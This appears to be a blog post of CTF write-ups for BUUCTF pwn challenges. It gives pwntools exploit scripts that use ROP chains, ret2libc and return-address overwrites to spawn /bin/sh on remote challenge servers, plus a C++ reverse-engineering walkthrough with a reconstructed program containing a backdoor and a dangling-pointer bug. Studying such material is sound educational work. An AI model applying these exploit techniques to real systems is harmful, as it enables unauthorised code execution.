当前位置:网站首页>buuctf-pwn write-ups (6)
buuctf-pwn write-ups (6)
2022-06-27 00:54:00 【L3H_ CoLin】
buu047-cmcc_simplerop
The same idea as the previous question .
from pwn import *
context.log_level='debug'
# io = process('./pwn')
io = remote('node4.buuoj.cn', 26121)
int80 = 0x80493E1
popeax_ret = 0x80BAE06
popedx_ret = 0x806e82a
popecx_ebx_ret = 0x806E851
addesp0x14_ret = 0x807b36c
bss = 0x80EB060
read = 0x806CD50
payload = cyclic(0x14 + 12)
payload += p32(read) # call read()
payload += p32(addesp0x14_ret) # return address, add esp to execute latter ROP
payload += p32(0) # arg #1 of read(): stdin
payload += p32(bss) # arg #2 of read(): a bss address
payload += p32(0x8) # arg #3 of read(): read length
payload += p32(0) * 2
payload += p32(popeax_ret) # eax = 0x11(SYS_EXECVE)
payload += p32(11)
payload += p32(popecx_ebx_ret)
payload += p32(0) # ebx = '/bin/sh'
payload += p32(bss) # edx = 0
payload += p32(popedx_ret)
payload += p32(0) # ecx = 0
payload += p32(int80) # int 80
io.sendline(payload)
io.sendline(b'/bin/sh' + b'\x00')
io.interactive()
buu048-picoctf_2018_buffer overflow 2
from pwn import *
context.log_level='debug'
# io = process('pwn')
io = remote('node4.buuoj.cn', 27446)
io.sendline(cyclic(0x6C+4) + p32(0x80485CB) + p32(0) + p32(0xdeadbeef) + p32(0xdeadc0de))
io.interactive()
buu049-xdctf2015_pwn200
from pwn import *
from LibcSearcher import *
context.log_level='debug'
# io = process('./pwn')
io = remote('node4.buuoj.cn', 25724)
elf = ELF('./pwn')
payload = cyclic(0x6C + 4)
payload += p32(elf.plt['write'])
payload += p32(elf.symbols['vuln'])
payload += p32(1)
payload += p32(elf.got['write'])
payload += p32(4)
io.sendlineafter(b'Welcome to XDCTF2015~!\n', payload)
write = u32(io.recv(4))
print(hex(write))
libc = LibcSearcher('write', write)
base = write - libc.dump('write')
sys = libc.dump('system') + base
binsh = libc.dump('str_bin_sh') + base
payload = cyclic(0x6C + 4)
payload += p32(sys)
payload += p32(0)
payload += p32(binsh)
io.sendline(payload)
io.interactive()
buu050-bbys_tu_2016
from pwn import *
context.log_level='debug'
# io = process('./pwn')
io = remote('node4.buuoj.cn', 27499)
io.sendline(cyclic(0xC + 12) + p32(0x804856D))
io.interactive()
buu051-mrctf2020_easyoverflow
Connect and lose 48 Invalid bytes +‘[email protected][email protected]’
buu052-wustctf2020_getshell_2
This problem can only overflow to the return address +4 Byte place , Directly modify the return address to system Function parameters cannot be written in , So the use of shell Function returns to the instruction ’call _system’ The place of , You can write function parameters later ’sh’( Intercept /bbbbbbbbin_what_the_f?ck__–??/sh The last two bytes of ) 了 .
from pwn import *
context.log_level='debug'
# io = process('./pwn')
io = remote('node4.buuoj.cn', 29467)
elf = ELF('./pwn')
io.sendline(cyclic(24+4) + p32(0x8048529) + p32(0x8048670))
io.interactive()
buu053-[ZJCTF 2019]Login
The first C++ pwn topic . This is also the first time that I have been doing it seriously C++ pwn The subject of .
First of all, of course , We need to be able to reverse C++ Program .C++ yes C Superset , There's a lot of C Something not in . One of the most important is the identification of classes and objects .
In this question , It seems that the symbol table of the program has not been deleted , We can see IDA For us to analyze the various function names and class names .
It is easy to find that two classes are defined in the program :User and Admin, And there seem to be three main As defined in lambda function .
Cannot view in program User The concrete structure of the class , So we need to manually create User Class structure , stay IDA Of Structures Window :Ins Shortcut key to create structure ,Del Delete structure ,D/A/* Create structure members ( Commonly used D),N Modify member name ,U Delete members . Here's the picture :( See the following analysis for specific reasons )
adopt User Class constructor found , The constructor is in User,User+8,User+0x58 Assignment operation is performed at , The last two here use strncpy Function assignment , So the judgment is a string . The first declaration assignment points to such a structure , There are two function pointers , Judgment is User Class , because C++ The virtual function table of a class is usually placed at the beginning of the class . You can see User Class defines two virtual functions get_password and shell. Using shortcut keys Y You can change the type of the parameter , After changing to the appropriate type , There won't be a lot of forced transformations in the disassembled code , It looks much more comfortable .
And through the User Class get_password Method can determine that the next two sizes are 0x50 Which is the username and which is the password in the string of . Using shortcut keys N You can change the name of a parameter or variable , Modified User The class constructor is shown in the following figure :
in addition , stay main Found in function login Variable , It belongs to User class , And located in bss In the paragraph , Judgment is User Class global variable object . We will bss The object modification type in the section found that the size just matches , Explain what we defined earlier User The class structure is correct .

Look again. Admin Class constructor , Found it called User Class constructor , So judge Admin Class is User Subclasses of classes .
from Admin Class virtual function table contains User Class functions can also describe Admin Class is User Subclasses of , And Admin Class override User Class shell Method , Open discovery User Class shell It doesn't work , and Admin Class shell The method is to execute directly ’/bin/sh’, It's a back door . and get_password Class is not overridden , stay User Class just uses virtual Just a statement .
Now? , We have classified the main classes in the program 、 Object analysis is complete ,main We can read the first half of the function .
stay main Function , Instantiated a Admin object , The user is called admin, The password for 2jctf_pa5sw0rd. Then accept the user's input to set the global User User name and password of class object .
then main Function use lambda Function does something , We enter password_checker Let's take a look at a function of .
This function compares password input , If the password is entered correctly, execute exec The function pointed to by the function pointer .
According to the declaration of this function , speculation password_checker It should be a structure , It contains the following lambda function ( Note that this function should be a function defined in password_checker In structure lambda function , Be careful password_checker And lambda Between the functions are :: Connect )
stay password_checker Found in function checker Assignment operation of structure ,password_checker Only this function pointer exists in the .
So the original purpose of this code is : Check whether the password is entered correctly , If correct, execute greeting_func function :
But after field operation, it is found that , stay lambda A segment error occurs in the function , Wrong is wrong exec Function pointer . The value of the original pointer should be 0x400A90, But when the implementation reaches here, it is found that it has been changed to 0x400090.
Further tracking and debugging found that , yes strip_newline Function automatically recognizes line breaks (ASCII Code for 0xA), Then the address was incorrectly modified , Becomes an invalid value .
This gives us a hint :strip_newline Is in lambda Invocation in function , But it can be modified exec Address of function , Through debugging, it is not difficult to find ,exec It's a pointer , adopt main Function call password_checker Function to obtain , But this is password_checker Local variables of , Its address should be at main At the low address of the function stack frame (main Function actually has no stack frame , Here, the stack frames of other functions are compared for easy understanding ), That is to say main Function execution time esp At the low address of , The address here may be affected when calling other functions . thus it can be seen , If we change the address value here to Admin Class shell Function address , You can get shell 了 .
therefore , The flaw in this problem lies in returning the value of a local variable , It's a logical mistake . The return value returned by the child function to the parent function should not be the value of the child function local variable . The vulnerability itself is not difficult , But for the reverse C++ It is also a good training and learning .
exp:
from pwn import *
context.log_level='debug'
# io = process('./pwn')
io = remote('node4.buuoj.cn', 26270)
io.sendline(b'admin')
io.sendline(b'2jctf_pa5sw0rd\x00\x00' + p64(0x400E88) * 8)
io.interactive()
Try to use CLion Restore the source code of the program :(C++ The foundation is not solid , Try to restore )
#include <iostream>
#include <cstring>
using namespace std;
void strip_newline(char* buf, int64_t length){
char* i;
for(i = &buf[length]; i >= buf; i--){
if ( *i == '\n' )
*i = '\0';
}
}
class User{
private:
char username[0x50]{
};
char password[0x50]{
};
public:
User(){
}
User(const char* username, const char* password){
strncpy(this->username, username, 0x50);
strncpy(this->password, password, 0x50);
}
void read_name(){
char name[80];
fgets(name, 79, stdin);
strip_newline(name, 80);
strncpy(this->username, name, 0x50);
}
void read_password(){
char pwd[80];
fgets(pwd, 79, stdin);
strip_newline(pwd, 80);
strncpy(this->password, pwd, 0x50);
}
public:
virtual char* get_password(){
return this->password;
}
virtual void shell(){
puts("No shell for you!");
}
};
class Admin : User{
public:
Admin(const char* username, const char* password) : User(username, password){
}
void shell() override{
puts("Congratulations!");
system("/bin/sh");
}
char* get_password() override{
return User::get_password();
}
};
typedef struct checker{
void (*check)();
int64_t null[2];
}checker;
checker* password_checker(void (*check)()){
checker checker;
checker.check = check;
return &checker;
}
User login;
int main() {
char admin_password[88];
cout << "Hello, World!" << endl;
setbuf(stdout, 0);
strcpy(admin_password, "2jctf_pa5sw0rd");
memset(&admin_password[15], 0, 65);
Admin admin((const char*)"admin", admin_password);
puts(
" _____ _ ____ _____ _____ _ _ \n"
"|__ / | |/ ___|_ _| ___| | | ___ __ _(_)_ __ \n"
" / /_ | | | | | | |_ | | / _ \\ / _` | | '_ \\ \n"
" / /| |_| | |___ | | | _| | |__| (_) | (_| | | | | |\n"
"/____\\___/ \\____| |_| |_| |_____\\___/ \\__, |_|_| |_|\n"
" |___/ ");
printf("Please enter username: ");
login.read_name();
printf("Please enter password: ");
auto greeting_func = []()->void{
puts("<===Welcome to ZJCTF!!!===>");
return login.shell();
};
checker* exec = password_checker(greeting_func);
login.read_password();
char* admin_pwd = admin.get_password();
char* user_pwd = login.get_password();
[](checker* exec, char* admin_pwd, char* user_pwd)->void{
char s[88];
if(!strcmp(admin_pwd, user_pwd)){
snprintf(s, 0x50uLL, "Password accepted: %s\n", s);
puts(s);
exec->check();
}else{
puts("Nope!");
}
}(exec, admin_pwd, user_pwd);
return 0;
}
边栏推荐
- 接口测试框架实战(一) | Requests 与接口请求构造
- 滑环安装有哪些技巧和方法
- Special topic II on mathematical physics of the sprint strong foundation program
- How to convert an old keyboard into a USB keyboard and program it yourself?
- com. fasterxml. jackson. databind. exc.MismatchedInputException: Expected array or string. at [Source:x
- Law of Large Numbers
- Redis detailed tutorial
- CPU exception handling
- 大白话高并发(一)
- Statistical Hypothesis Testing
猜你喜欢

解决STC8G1K08程序不能运行的问题和端口配置

Com. Faster XML. Jackson. DataBind. Exc.mismatchedinputexception: tableau ou chaîne attendu. At [Source: X

CH423要如何使用,便宜的国产IO扩展芯片

05 | standard design (Part 2): how to standardize the different styles of commit information, which are difficult to read?

光谱共焦如何测量玻璃基板厚度

Processing of slice loss in ArcGIS mosaic dataset

Central Limit Theorem

Super hard core! Can the family photo album on Huawei's smart screen be classified automatically and accurately?

Ten thousand words explanation - mindarmour Xiaobai tutorial!

2022年地理信息系统与遥感专业就业前景与升学高校排名选择
随机推荐
Using physical information neural network to solve hydrodynamics equations
简单快速的数网络(网络中的网络套娃)
解决unable to create a folder to save the sketch: mkdir sketch
温故知新--常温常新
一键加速索尼相机SD卡文件的复制操作,文件操作批处理教程
Network in network (dolls)
自定义JSP[if,foreach,数据,select]标签
07 | 工作流设计:如何设计合理的多人开发模式?
其他服务注册与发现
Operating instructions and Q & A of cec-i China learning machine
Oracle 数据库基本知识概念
Technical dry goods | what is a big model? Oversized model? Foundation Model?
ESP32实验-自建web服务器配网02
Solve the problem that only one line of text is displayed or not displayed in u8glib
Sword finger offer 10- ii Frog jumping on steps
网络中的网络(套娃)
At present, which securities company is the best and safest to open an account for stock speculation?
Oracle 數據庫基本知識概念
Review the old and know the new -- constant renewal at normal temperature
自定义MVC(导成jar包)+与三层架构的区别+反射+面试题